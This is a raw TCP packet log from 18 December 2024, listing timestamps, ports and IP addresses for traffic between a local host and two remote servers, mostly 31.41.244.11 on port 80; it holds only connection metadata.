Dec 18, 2024 21:30:48.434833050 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.434848070 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.434915066 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.434927940 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.434957981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.435513973 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.435533047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.435575008 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.436436892 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.436450005 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.436508894 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.437242985 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.437258959 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.437292099 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.437791109 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.437803984 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.437832117 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.437855005 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.437949896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.437963963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.437992096 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.438004017 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.438375950 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.438400030 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.438411951 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.438422918 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.438435078 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.438456059 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.439270020 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.439284086 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.439336061 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.439402103 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.439938068 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.439951897 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.439981937 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.440005064 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.440532923 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.440583944 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.440679073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.440722942 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.441087008 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.441111088 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.441123009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.441131115 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.441143990 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.441163063 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.441875935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.441891909 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.441921949 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.441932917 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.442519903 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.442567110 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.442646980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.442688942 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.443272114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.443289995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.443324089 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.443335056 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.443814039 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.443830013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.443857908 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.443871021 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.444739103 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.444753885 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.444766045 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.444785118 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.444796085 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.444814920 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.445374012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.445389032 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.445419073 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.445430994 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.446002007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.446017027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.446027994 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.446047068 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.446059942 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.446069956 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.475167036 CET	443	49825	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:48.475369930 CET	49825	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:48.476732969 CET	49825	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:48.476738930 CET	443	49825	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:48.477000952 CET	443	49825	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:48.478477001 CET	49825	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:48.478599072 CET	49825	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:48.478602886 CET	443	49825	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:48.606626034 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.606779099 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.606854916 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.606868029 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.606915951 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.607343912 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.607403040 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.607630014 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.607642889 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.607703924 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.608304977 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.608319998 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.608366966 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.609025955 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.609038115 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.609047890 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.609728098 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.609740019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.609913111 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.610553026 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.610584974 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.610678911 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.610954046 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.610965967 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.611006021 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.611690998 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.611705065 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.611766100 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.612241983 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.612253904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.612301111 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.612879038 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.612890959 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.612931967 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.613507986 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.613519907 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.613529921 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.613562107 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.613570929 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.614150047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.614161968 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.614231110 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.615001917 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.615016937 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.615058899 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.615468025 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.615479946 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.615523100 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.616036892 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.616050005 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.616060019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.616086006 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.616108894 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.616586924 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.616609097 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.616638899 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.616653919 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.617211103 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.617223978 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.617255926 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.617297888 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.617721081 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.617758989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.617770910 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.617796898 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.618443012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.618458033 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.618494987 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.619100094 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.619121075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.619132042 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.619153976 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.619182110 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.619846106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.619868994 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.619901896 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.619934082 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.620538950 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.620553017 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.620594025 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.621208906 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.621278048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.621315002 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.621824026 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.621844053 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.621855021 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.621876001 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.621912003 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.622606039 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.622620106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.622653008 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.622689009 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.623270035 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.623282909 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.623327971 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.623964071 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.623980045 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.624017000 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.624047995 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.624672890 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.624686003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.624728918 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.625324011 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.625339031 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.625349998 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.625374079 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.625392914 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.626029968 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.626043081 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.626082897 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.626771927 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.626785994 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.626821041 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.627396107 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.627423048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.627476931 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.627476931 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.628079891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.628106117 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.628120899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.628144979 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.628153086 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.628839970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.628854036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.628895998 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.629460096 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.629476070 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.629511118 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.629543066 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.630156040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.630168915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.630220890 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.630853891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.630870104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.630904913 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.630937099 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.631561995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.631577969 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.631589890 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.631609917 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.631632090 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.632297993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.632313013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.632349968 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.632399082 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.633028030 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.633047104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.633081913 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.633100986 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.633625984 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.633642912 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.633690119 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.634382963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.634412050 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.634423018 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.634437084 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.634476900 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.635066986 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.635083914 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.635118008 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.635149002 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.635798931 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.635812998 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.635854006 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.636503935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.636517048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.636559010 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.637212038 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.637263060 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.637265921 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.637332916 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.637826920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.637851954 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.637862921 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.637876034 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.637897968 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.638448000 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.638504028 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.797858000 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.797940969 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.798029900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.798044920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.798082113 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.798105955 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.798650980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.798712969 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.799015045 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.799027920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.799077034 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.799504995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.799557924 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.799715996 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.799735069 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.799787998 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.799813032 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.800452948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.800468922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.800518990 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.800548077 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.801002026 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.801014900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.801063061 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.801686049 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.801701069 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.801758051 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.802550077 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.802999973 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.803013086 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.803061008 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.803719997 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.803766966 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.803812027 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.804439068 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.804452896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.804498911 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.805109978 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.805124044 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.805175066 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.805830002 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.805845976 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.805857897 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.805927038 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.805967093 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.806484938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.806499004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.806536913 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.807205915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.807219982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.807266951 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.807991982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.808008909 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.808068991 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.808629990 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.808645010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.808693886 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.809237957 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.809263945 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.809273958 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.809330940 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.809351921 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.809971094 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.809984922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.810029030 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.810050964 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.810619116 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.810645103 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.810672998 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.810694933 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.811326981 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.811346054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.811393023 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.811991930 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.812007904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.812020063 CET	80	49819	31.41.244.11	192.168.2.5
